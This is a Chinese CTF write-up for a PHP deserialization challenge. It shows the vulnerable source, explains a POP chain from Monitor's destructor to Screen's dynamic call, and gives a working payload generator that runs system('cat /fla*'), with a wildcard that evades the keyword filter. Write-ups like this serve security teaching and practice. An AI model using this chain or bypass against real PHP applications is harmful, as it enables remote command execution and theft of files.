【青少年CTF S1·2026 公益赛】easy_php

php 复制代码
<?php
// 屏蔽报错,增加一点黑盒难度
error_reporting(0);
// TIPS: FLAG在根目录下

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

    public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }
}

class Logger {
    public function alert() {
        echo "System normal. No alert needed.\n";
    }
}

class Screen {
    public $content;
    public $format;

    public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }
}

// 入口点
if (isset($_GET['code'])) {
    $input = $_GET['code'];

    // 简单的过滤,不允许直接输入 flag 关键字,但这不影响反序列化过程
    if (preg_match('/flag/i', $input)) {
        die("No flag here!");
    }

    unserialize($input);
} else {
    highlight_file(__FILE__);
}
?>

PHP 反序列化 (POP 链构造)题目

php 复制代码
入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。

那么我们先寻找利用点,下面这段代码想办法把func变成system,然后this->content变成cat /flag

php 复制代码
public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }

那么我们如何调用Screen类下的alert()函数呢?

可以看到在Monitor中会调用alert()函数

php 复制代码
public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }

但是这里有一个问题,在Monitor的构造函数中,发现$this->reporter = new Logger(),reporter会new Logger()

但是这个Logger不是我们想要的

php 复制代码
public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

因此我们要想办法将Logger替换为Screen

最后Monitor销毁的时候会自动调用__destruct()实现攻击

思路整理如下:

php 复制代码
我们需要做的事情:
1、在Screen类中
将$format = 'system'
将$content = 'cat /flag'

2、在Monitor类中
将$status = 'danger'
将$reporter = new Screen()

我的payload如下

php 复制代码
<?php

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "danger";
        $this->reporter = new Screen(); # new 一个对象的话必须要使用__construct,不能直接赋值给静态变量
    }

}


class Screen {
    public $content = "cat /fla*";  # 通过通配符绕过flag过滤
    public $format = "system";  # 静态变量可以直接这样赋值


}

$exp = new Monitor();
echo(urlencode(serialize($exp)));

?>

下面是原作者的图

这里我直接本机演示下我的payload是否可行,尝试执行whoami命令,是正常可用的

相关推荐
游戏开发爱好者821 小时前
带签名时间戳接口的重放与压力测试实战,用动态值在发送前现算签名
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
笨鸟先飞,勤能补拙1 天前
AI与深度学习:从原理到应用
人工智能·windows·vscode·深度学习·机器学习·网络安全·github
数据知道1 天前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安1 天前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws
Aision_1 天前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
艺杯羹1 天前
古典密码学攻防演进全景:从凯撒移位、频率分析到一次一密与恩尼格玛机破译
网络·人工智能·安全·网络安全·密码学·密码安全
菩提小狗1 天前
每日安全情报报告 · 2026-08-17
网络安全·漏洞·cve·安全情报·每日安全
菜是原罪1 天前
ECS CPU 100% 故障排查与安全事件复盘报告
运维·服务器·网络安全
juesdo1 天前
vulnos OS-00118靶场通关
linux·web安全·网络安全·docker
数据知道1 天前
网络安全实战:渗透测试全流程 SOP——从授权到报告交付
服务器·网络·安全·web安全·网络安全